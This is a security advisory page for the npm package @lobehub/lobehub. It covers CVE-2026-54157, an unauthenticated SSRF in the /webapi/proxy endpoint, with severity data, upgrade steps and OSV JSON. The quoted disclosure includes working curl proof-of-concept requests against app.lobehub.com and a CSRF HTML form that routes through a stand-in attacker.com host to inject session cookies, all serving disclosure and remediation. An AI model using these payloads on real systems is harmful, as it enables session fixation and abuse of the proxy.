Vulnerabilities in pkg:npm/@lobehub/lobehub

PACKAGE
Advisory Identifier: GHSA-xmwj-c75x-6346
Advisory Summary

CVE-2026-54157 is a CRITICAL (CVSS 9.0) unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting LobeHub libraries in the npm ecosystem. The issue involves unauthenticated ssrf in `/webapi/proxy`. Remediation is available by upgrading affected packages to version 2.1.57.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@lobehub/lobehub

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@lobehub/lobehub. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-xmwj-c75x-6346 CVE-2026-54157 CRITICAL LobeHub: Unauthenticated SSRF in `/webapi/proxy`
GHSA-xq4x-622m-q8fq CVE-2026-42045 MODERATE LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution
GHSA-5mwj-v5jw-5c97 CVE-2026-39411 MODERATE LobeHub: Unauthenticated authentication bypass on `webapi` routes via forgeable `X-lobe-chat-auth` header

CVE-2026-54157 at a Glance

CVE Identifier CVE-2026-54157
GHSA Identifier GHSA-xmwj-c75x-6346
Severity CRITICAL
CVSS v3.1 Base Score 9.0
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product LobeHub
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-54157

To remediate this vulnerability, upgrade all affected LobeHub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@lobehub/lobehub fixed: 2.1.57
npm install @lobehub/lobehub@2.1.57
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/lobehub

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54157, inspect your project dependencies using npm:

npm ls @lobehub/lobehub

Analyze the terminal output to locate any version of LobeHub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.57), your application is affected.

Note: The npm ls @lobehub/lobehub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In LobeHub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com ## Summary The `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured — it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers. ## Vulnerability Details **Type:** Server-Side Request Forgery (CWE-918) **Affected Endpoint:** POST /webapi/proxy **Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts` The route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes — `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication. ## Steps to Reproduce **Fetch an external URL through the proxy (no auth, no cookies, no tokens):** ``` curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \ -d "https://httpbin.org/ip" \ "https://app.lobehub.com/webapi/proxy" ``` <img width="1069" height="297" alt="image" src="https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18" /> Response: ```json {"origin": "3.14.141.44"} ``` This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body. **Inject a cookie on the lobehub.com domain:** ``` curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \ -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \ "https://app.lobehub.com/webapi/proxy" ``` The response headers include: ``` set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly ``` <img width="1215" height="340" alt="image" src="https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903" /> The proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable — these are the cookie names used by Clerk for authentication. **CSRF to cookie injection (no user interaction beyond visiting a page):** An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a `Set-Cookie` header, and the proxy reflects it. The victim's browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`. ```html <form id=f action="https://app.lobehub.com/webapi/proxy" method=POST enctype="text/plain"> <input name="https://attacker.com/inject?x" value=""> </form> <script>f.submit()</script> ``` The attacker's server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim's browser stores the cookie. ## Impact The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com: An attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy's reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session. The proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane. The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services. ## Recommended Fix Add `checkAuth()` to the proxy route, matching every other webapi route: ```diff - export const POST = async (req: Request) => { + export const POST = checkAuth(async (req, { userId }) => { ``` If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

CVE-2026-54157 Affected LobeHub Versions

1 component(s)
Fixed Versions:
2.1.57
Product / Package Ecosystem Affected Versions Fixed Version
@lobehub/lobehub
npm
< 2.1.57
2.1.57

References

Frequently Asked Questions

What is CVE-2026-54157?
CVE-2026-54157 is a security vulnerability in LobeHub involving Unauthenticated SSRF in `/webapi/proxy` under CWE-918: Server-Side Request Forgery (SSRF).
Which LobeHub versions are affected?
Affected versions include releases prior to 2.1.57 across affected packages: @lobehub/lobehub.
What version fixes CVE-2026-54157?
Upgrading to 2.1.57 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @lobehub/lobehub affected?
Yes, @lobehub/lobehub is affected in releases prior to 2.1.57. Upgrade your dependency to 2.1.57 or later.
What is the CVSS score of CVE-2026-54157?
CVE-2026-54157 has a CVSS v3.1 base score of 9.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H.
What CWE is associated with CVE-2026-54157?
CVE-2026-54157 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-54157?
Run the dependency tree command: 'npm ls @lobehub/lobehub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xmwj-c75x-6346",
  "modified" : "2026-07-20T21:01:54Z",
  "published" : "2026-06-16T20:15:57Z",
  "aliases" : [ "CVE-2026-54157" ],
  "summary" : "LobeHub: Unauthenticated SSRF in `/webapi/proxy`",
  "details" : "## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com\n\n## Summary\n\nThe `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured — it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.\n\n## Vulnerability Details\n\n**Type:** Server-Side Request Forgery (CWE-918)\n**Affected Endpoint:** POST /webapi/proxy\n**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`\n\nThe route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes — `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.\n\n## Steps to Reproduce\n\n**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**\n\n```\ncurl -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/ip\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n<img width=\"1069\" height=\"297\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18\" />\n\nResponse:\n\n```json\n{\"origin\": \"3.14.141.44\"}\n```\n\nThis is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.\n\n**Inject a cookie on the lobehub.com domain:**\n\n```\ncurl -D- -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n  -d \"https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly\" \\\n  \"https://app.lobehub.com/webapi/proxy\"\n```\n\nThe response headers include:\n\n```\nset-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly\n```\n<img width=\"1215\" height=\"340\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903\" />\n\nThe proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable — these are the cookie names used by Clerk for authentication.\n\n**CSRF to cookie injection (no user interaction beyond visiting a page):**\n\nAn attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a `Set-Cookie` header, and the proxy reflects it. The victim's browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.\n\n```html\n<form id=f action=\"https://app.lobehub.com/webapi/proxy\"\n  method=POST enctype=\"text/plain\">\n  <input name=\"https://attacker.com/inject?x\" value=\"\">\n</form>\n<script>f.submit()</script>\n```\n\nThe attacker's server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim's browser stores the cookie.\n\n## Impact\n\nThe proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:\n\nAn attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy's reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.\n\nThe proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.\n\nThe endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.\n\n## Recommended Fix\n\nAdd `checkAuth()` to the proxy route, matching every other webapi route:\n\n```diff\n- export const POST = async (req: Request) => {\n+ export const POST = checkAuth(async (req, { userId }) => {\n```\n\nIf the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@lobehub/lobehub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.57"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.56"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54157"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lobehub/lobehub"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T20:15:57Z",
    "nvd_published_at" : "2026-06-23T18:18:07Z"
  }
}